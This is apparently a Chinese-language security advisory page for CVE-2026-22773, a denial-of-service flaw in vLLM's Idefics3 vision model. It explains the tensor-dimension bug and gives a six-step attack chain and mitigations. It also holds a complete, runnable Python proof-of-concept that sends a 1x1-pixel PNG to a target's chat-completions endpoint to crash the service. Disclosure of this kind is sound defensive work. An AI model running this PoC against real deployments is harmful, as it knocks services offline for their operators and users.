IPBUF安全漏洞报告
English
CVE-2026-22773 CVSS 6.5 中危

vLLM Idefics3视觉模型1x1像素图像导致服务崩溃漏洞 (CVE-2026-22773)

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2026-22773
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vLLM (Idefics3视觉模型实现)

相关标签

拒绝服务vLLMIdefics3多模态模型张量维度不匹配图像处理漏洞CVE-2026-22773

漏洞概述

vLLM是一个用于大型语言模型(LLM)的高性能推理和服务引擎。在0.6.4到0.12.0之前的版本中,存在一个拒绝服务漏洞。攻击者可以通过发送特制的1x1像素图像来崩溃vLLM引擎服务使用Idefics3视觉模型实现的多模态模型。该漏洞的根本原因在于Idefics3视觉模型实现中缺少对输入图像尺寸的充分验证,当接收到极小尺寸(如1x1像素)的图像时,会导致张量维度不匹配,产生未处理的运行时错误,最终导致服务进程完全终止。由于CVSS评分中可用性影响为高(H),攻击成功将造成服务不可用,影响业务连续性。该漏洞需要较低权限即可利用,攻击复杂度低,无需用户交互,具有较高的实际威胁性。

技术细节

该漏洞源于vLLM的Idefics3视觉模型实现中缺乏对输入图像尺寸的边界检查。在正常的图像处理流程中,视觉模型会将输入图像转换为张量进行特征提取。当收到1x1像素的特制图像时,图像预处理管道中的张量操作会产生维度不匹配。具体来说,Idefics3模型在处理图像时会进行尺寸调整和分块操作,1x1像素图像会导致某些维度计算结果为0或负数,触发PyTorch张量操作的异常。由于代码中缺少对这些边界情况的异常捕获处理,Python运行时错误未被正确处理,导致整个服务进程崩溃。攻击者只需构造一个标准的1x1像素图像文件,通过vLLM的API接口发送推理请求即可触发漏洞。此漏洞影响所有使用vLLM服务Idefics3多模态模型的部署。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标环境中运行的vLLM服务版本,确认是否在0.6.4到0.12.0之间,并确认服务是否加载了使用Idefics3视觉模型实现的多模态模型
STEP 2
步骤2: 构造恶意载荷
攻击者创建一个标准的1x1像素PNG图像文件,该图像格式正常但尺寸极小,足以触发Idefics3模型中的张量维度计算异常
STEP 3
步骤3: 发送特制请求
攻击者通过vLLM的API接口(如/v1/chat/completions)发送包含1x1像素图像的多模态推理请求,图像以base64编码形式包含在请求payload中
STEP 4
步骤4: 触发漏洞
vLLM的Idefics3视觉模型处理该图像时,图像预处理管道中的尺寸调整和分块操作产生非预期的张量维度,导致后续张量操作失败
STEP 5
步骤5: 服务崩溃
由于代码中缺少对边界情况的异常捕获,运行时错误未被正确处理,导致Python进程崩溃,vLLM服务完全终止
STEP 6
步骤6: 拒绝服务
服务终止后,所有依赖该vLLM服务的应用无法进行推理请求,造成业务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-22773 PoC - vLLM Idefics3 DoS via 1x1 pixel image This PoC demonstrates the denial of service vulnerability in vLLM's Idefics3 model implementation. """ import base64 import json import requests def create_1x1_pixel_image(): """Create a minimal 1x1 pixel PNG image (1x1 transparent pixel)""" # Minimal valid PNG: 1x1 transparent pixel png_data = base64.b64decode( 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==' ) return png_data def exploit_vllm_dos(target_url, model_name): """ Send a crafted 1x1 pixel image to trigger the DoS vulnerability Args: target_url: Base URL of vLLM server (e.g., 'http://localhost:8000') model_name: Name of the Idefics3 model in service """ headers = { 'Content-Type': 'application/json' } # Create the 1x1 pixel image image_bytes = create_1x1_pixel_image() image_base64 = base64.b64encode(image_bytes).decode('utf-8') # Construct request payload for multimodal inference payload = { 'model': model_name, 'messages': [ { 'role': 'user', 'content': [ { 'type': 'text', 'text': 'Describe this image briefly.' }, { 'type': 'image_url', 'image_url': { 'url': f'data:image/png;base64,{image_base64}' } } ] } ], 'max_tokens': 100, 'temperature': 0.7 } try: response = requests.post( f'{target_url}/v1/chat/completions', headers=headers, json=payload, timeout=30 ) print(f'Response status: {response.status_code}') print(f'Response: {response.text}') except requests.exceptions.RequestException as e: print(f'Request failed (service may have crashed): {e}') if __name__ == '__main__': import sys if len(sys.argv) < 3: print('Usage: python cve_2026_22773_poc.py <vllm_url> <model_name>') print('Example: python cve_2026_22773_poc.py http://localhost:8000 idefics3-8b') sys.exit(1) target = sys.argv[1] model = sys.argv[2] print(f'Targeting vLLM at {target} with model {model}') print('Sending crafted 1x1 pixel image...') exploit_vllm_dos(target, model)

影响范围

vLLM 0.6.4 <= version < 0.12.0

防御指南

临时缓解措施
在正式补丁发布前,可采取以下临时缓解措施:1) 限制vLLM API的访问来源,只允许受信任的IP地址访问;2) 在API网关层添加输入验证规则,拒绝过小尺寸的图像上传;3) 部署多实例vLLM服务并配置健康检查,当单实例崩溃时自动切换到备用实例;4) 考虑暂时禁用Idefics3视觉模型的多模态功能,仅使用纯文本推理模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表